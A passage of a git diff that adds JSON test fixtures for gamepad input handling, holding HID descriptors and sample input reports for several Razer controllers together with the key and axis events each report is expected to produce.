+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press left",
+    "reports": [
+        [0x01, 0x3f, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x00, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_X": -0.51}},
+      {"action": "MOVE", "axes": {"AXIS_X": -1}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press right",
+    "reports": [
+        [0x01, 0xc0, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0xff, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_X": 0.51}},
+      {"action": "MOVE", "axes": {"AXIS_X": 1}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press up",
+    "reports": [
+        [0x01, 0x80, 0x3f, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x80, 0x00, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Y": -0.51}},
+      {"action": "MOVE", "axes": {"AXIS_Y": -1}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press down",
+    "reports": [
+        [0x01, 0x80, 0xc0, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x80, 0xff, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Y": 0.51}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 1}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press left",
+    "reports": [
+        [0x01, 0x80, 0x80, 0x3f, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x80, 0x80, 0x00, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Z": -0.51}},
+      {"action": "MOVE", "axes": {"AXIS_Z": -1}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press right",
+    "reports": [
+        [0x01, 0x80, 0x80, 0xc0, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x80, 0x80, 0xff, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Z": 0.51}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 1}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press up",
+    "reports": [
+        [0x01, 0x80, 0x80, 0x80, 0x3f, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x80, 0x80, 0x80, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RZ": -0.51}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": -1}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press down",
+    "reports": [
+        [0x01, 0x80, 0x80, 0x80, 0xc0, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x80, 0x80, 0x80, 0xff, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0.51}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 1}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0}}
+    ]
+  }
+
+]
diff --git a/tests/tests/hardware/res/raw/razer_junglecat_register.json b/tests/tests/hardware/res/raw/razer_junglecat_register.json
new file mode 100644
index 0000000..9edcc66
--- /dev/null
+++ b/tests/tests/hardware/res/raw/razer_junglecat_register.json
@@ -0,0 +1,22 @@
+{
+    "id": 1,
+    "command": "register",
+    "name": "Razer Junglecat (Bluetooth Test)",
+    "vid": 0x1532,
+    "pid": 0x0709,
+    "bus": "bluetooth",
+    "source": "KEYBOARD | GAMEPAD | JOYSTICK",
+    "descriptor": [0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x09, 0x30, 0x09, 0x31, 0x09,
+        0x32, 0x09, 0x35, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x04, 0x81, 0x02, 0x09,
+        0x39, 0x15, 0x00, 0x25, 0x07, 0x35, 0x00, 0x46, 0x3b, 0x01, 0x65, 0x14, 0x75, 0x04, 0x95,
+        0x01, 0x81, 0x42, 0x65, 0x00, 0x05, 0x09, 0x19, 0x01, 0x29, 0x0f, 0x15, 0x00, 0x25, 0x01,
+        0x75, 0x01, 0x95, 0x0f, 0x81, 0x02, 0x75, 0x0d, 0x95, 0x01, 0x81, 0x03, 0x05, 0x02, 0x09,
+        0xc5, 0x09, 0xc4, 0x15, 0x00, 0x26, 0xff, 0x00, 0x35, 0x00, 0x46, 0xff, 0x00, 0x75, 0x08,
+        0x95, 0x02, 0x81, 0x02, 0x06, 0x00, 0xff, 0x09, 0x21, 0x95, 0x02, 0x81, 0x02, 0x85, 0x02,
+        0x0a, 0x21, 0x27, 0x95, 0x2f, 0xb1, 0x02, 0xc0, 0x05, 0x0c, 0x09, 0x01, 0xa1, 0x01, 0x85,
+        0x03, 0x0a, 0x23, 0x02, 0x0a, 0x24, 0x02, 0x09, 0x40, 0x09, 0xe9, 0x09, 0xea, 0x09, 0x30,
+        0x09, 0x32, 0x0a, 0xa2, 0x01, 0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x08, 0x81, 0x02,
+        0x75, 0x01, 0x95, 0x08, 0x81, 0x03, 0x75, 0x08, 0x95, 0x0a, 0x81, 0x01, 0xc0, 0x05, 0x01,
+        0x09, 0x00, 0xa1, 0x01, 0x85, 0x05, 0x09, 0x03, 0x15, 0x00, 0x26, 0xff, 0x00, 0x35, 0x00,
+        0x46, 0xff, 0x00, 0x75, 0x08, 0x95, 0x0c, 0x81, 0x00, 0xc0]
+}
diff --git a/tests/tests/hardware/res/raw/razer_kishi_keyeventtests.json b/tests/tests/hardware/res/raw/razer_kishi_keyeventtests.json
new file mode 100644
index 0000000..a279d5a
--- /dev/null
+++ b/tests/tests/hardware/res/raw/razer_kishi_keyeventtests.json
@@ -0,0 +1,171 @@
+[
+  {
+    "name": "Press BUTTON_A",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_A"},
+      {"action": "UP", "keycode": "BUTTON_A"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_B",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_B"},
+      {"action": "UP", "keycode": "BUTTON_B"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_X",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_X"},
+      {"action": "UP", "keycode": "BUTTON_X"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_Y",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_Y"},
+      {"action": "UP", "keycode": "BUTTON_Y"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L1",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_L1"},
+      {"action": "UP", "keycode": "BUTTON_L1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R1",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_R1"},
+      {"action": "UP", "keycode": "BUTTON_R1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L2",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_L2"},
+      {"action": "UP", "keycode": "BUTTON_L2"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R2",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_R2"},
+      {"action": "UP", "keycode": "BUTTON_R2"}
+    ]
+  },
+
+  {
+    "name": "Press Left Stick Thumb Button",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBL"},
+      {"action": "UP", "keycode": "BUTTON_THUMBL"}
+    ]
+  },
+
+  {
+    "name": "Press Right Stick Thumb Button",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBR"},
+      {"action": "UP", "keycode": "BUTTON_THUMBR"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_SELECT",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_SELECT"},
+      {"action": "UP", "keycode": "BUTTON_SELECT"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_START",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_START"},
+      {"action": "UP", "keycode": "BUTTON_START"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_HOME",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_MODE"},
+      {"action": "UP", "keycode": "BUTTON_MODE"}
+    ]
+  }
+
+]
diff --git a/tests/tests/hardware/res/raw/razer_kishi_motioneventtests.json b/tests/tests/hardware/res/raw/razer_kishi_motioneventtests.json
new file mode 100644
index 0000000..8323ce2
--- /dev/null
+++ b/tests/tests/hardware/res/raw/razer_kishi_motioneventtests.json
@@ -0,0 +1,214 @@
+[
+  {
+    "name": "Sanity check - should not produce any events",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+    ]
+  },
+
+  {
+    "name": "Press left DPAD key",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": -1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Press right DPAD key",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x00, 0xff, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Press up DPAD key",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": -1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Press down DPAD key",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press left",
+    "reports": [
+        [0xc0, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x80, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_X": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_X": -1}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press right",
+    "reports": [
+        [0x3f, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x7f, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_X": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_X": 1}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press up",
+    "reports": [
+        [0x00, 0xc0, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x80, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Y": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_Y": -1}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press down",
+    "reports": [
+        [0x00, 0x3f, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x7f, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Y": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 1}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press left",
+    "reports": [
+        [0x00, 0x00, 0xc0, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x80, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Z": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_Z": -1}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press right",
+    "reports": [
+        [0x00, 0x00, 0x3f, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x7f, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Z": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 1}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press up",
+    "reports": [
+        [0x00, 0x00, 0x00, 0xc0, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x80, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RZ": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": -1}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press down",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x3f, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x7f, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 1}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0}}
+    ]
+  },
+
+  {
+    "name": "Left trigger - quick press",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x01, 0x00, 0x00, 0x7f],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x01, 0x00, 0x00, 0xff],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": { "AXIS_LTRIGGER": 0.5, "AXIS_BRAKE": 0.5}},
+      {"action": "MOVE", "axes": { "AXIS_LTRIGGER": 1.0, "AXIS_BRAKE": 1.0}},
+      {"action": "MOVE", "axes": { "AXIS_LTRIGGER": 0.0, "AXIS_BRAKE": 0.0}}
+    ]
+  },
+
+  {
+    "name": "Right trigger - quick press",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x02, 0x00, 0x7f, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x02, 0x00, 0xff, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": { "AXIS_RTRIGGER": 0.5, "AXIS_GAS": 0.5}},
+      {"action": "MOVE", "axes": { "AXIS_RTRIGGER": 1.0, "AXIS_GAS": 1.0}},
+      {"action": "MOVE", "axes": { "AXIS_RTRIGGER": 0.0, "AXIS_GAS": 0.0}}
+    ]
+  }
+
+]
diff --git a/tests/tests/hardware/res/raw/razer_kishi_register.json b/tests/tests/hardware/res/raw/razer_kishi_register.json
new file mode 100644
index 0000000..4c9c137
--- /dev/null
+++ b/tests/tests/hardware/res/raw/razer_kishi_register.json
@@ -0,0 +1,22 @@
+{
+    "id": 1,
+    "command": "register",
+    "name": "Razer Kishi (USB Test)",
+    "vid": 0x27f8,
+    "pid": 0x0bbf,
+    "bus": "usb",
+    "source": "KEYBOARD | GAMEPAD | JOYSTICK",
+    "descriptor": [0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0xa1, 0x02, 0x15, 0x81, 0x25, 0x7f, 0x05,
+        0x01, 0x09, 0x01, 0xa1, 0x00, 0x75, 0x08, 0x95, 0x04, 0x35, 0x00, 0x46, 0xff, 0x00, 0x09,
+        0x30, 0x09, 0x31, 0x09, 0x32, 0x09, 0x35, 0x81, 0x02, 0x75, 0x08, 0x95, 0x02, 0x15, 0x01,
+        0x26, 0xff, 0x00, 0x09, 0x39, 0x09, 0x39, 0x81, 0x02, 0xc0, 0x05, 0x07, 0x19, 0x4f, 0x29,
+        0x52, 0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x04, 0x81, 0x02, 0x0a, 0xf1, 0x00, 0x15,
+        0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x01, 0x81, 0x02, 0x75, 0x01, 0x95, 0x02, 0x81, 0x03,
+        0x05, 0x0c, 0x09, 0x01, 0xa1, 0x01, 0x15, 0x00, 0x25, 0x01, 0x0a, 0x24, 0x02, 0x75, 0x01,
+        0x95, 0x01, 0x81, 0x06, 0xc0, 0x75, 0x01, 0x95, 0x10, 0x05, 0x09, 0x19, 0x01, 0x29, 0x10,
+        0x81, 0x02, 0x06, 0x02, 0xff, 0x09, 0x01, 0xa1, 0x01, 0x15, 0x00, 0x25, 0x01, 0x09, 0x04,
+        0x75, 0x01, 0x95, 0x01, 0x81, 0x02, 0xc0, 0x75, 0x01, 0x95, 0x07, 0x81, 0x03, 0x15, 0x00,
+        0x25, 0xff, 0x05, 0x02, 0x09, 0x01, 0xa1, 0x00, 0x75, 0x08, 0x95, 0x02, 0x35, 0x00, 0x45,
+        0xff, 0x09, 0xc4, 0x09, 0xc5, 0x81, 0x02, 0xc0, 0x06, 0x00, 0xff, 0x09, 0x80, 0x75, 0x08,
+        0x95, 0x08, 0x15, 0x00, 0x26, 0xff, 0x00, 0xb1, 0x02, 0xc0, 0xc0]
+}
diff --git a/tests/tests/hardware/res/raw/razer_raiju_mobile_bluetooth_homekey.json b/tests/tests/hardware/res/raw/razer_raiju_mobile_bluetooth_homekey.json
new file mode 100644
index 0000000..f3d81d7
--- /dev/null
+++ b/tests/tests/hardware/res/raw/razer_raiju_mobile_bluetooth_homekey.json
@@ -0,0 +1,12 @@
+[
+  {
+    "name": "Press BUTTON_HOME",
+    "reports": [
+      [0x02, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "events": [
+    ]
+  }
+
+]
diff --git a/tests/tests/hardware/res/raw/razer_raiju_mobile_bluetooth_keyeventtests.json b/tests/tests/hardware/res/raw/razer_raiju_mobile_bluetooth_keyeventtests.json
new file mode 100644
index 0000000..26a4523
--- /dev/null
+++ b/tests/tests/hardware/res/raw/razer_raiju_mobile_bluetooth_keyeventtests.json
@@ -0,0 +1,184 @@
+[
+  {
+    "name": "Press BUTTON_A",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_A"},
+      {"action": "UP", "keycode": "BUTTON_A"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_B",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
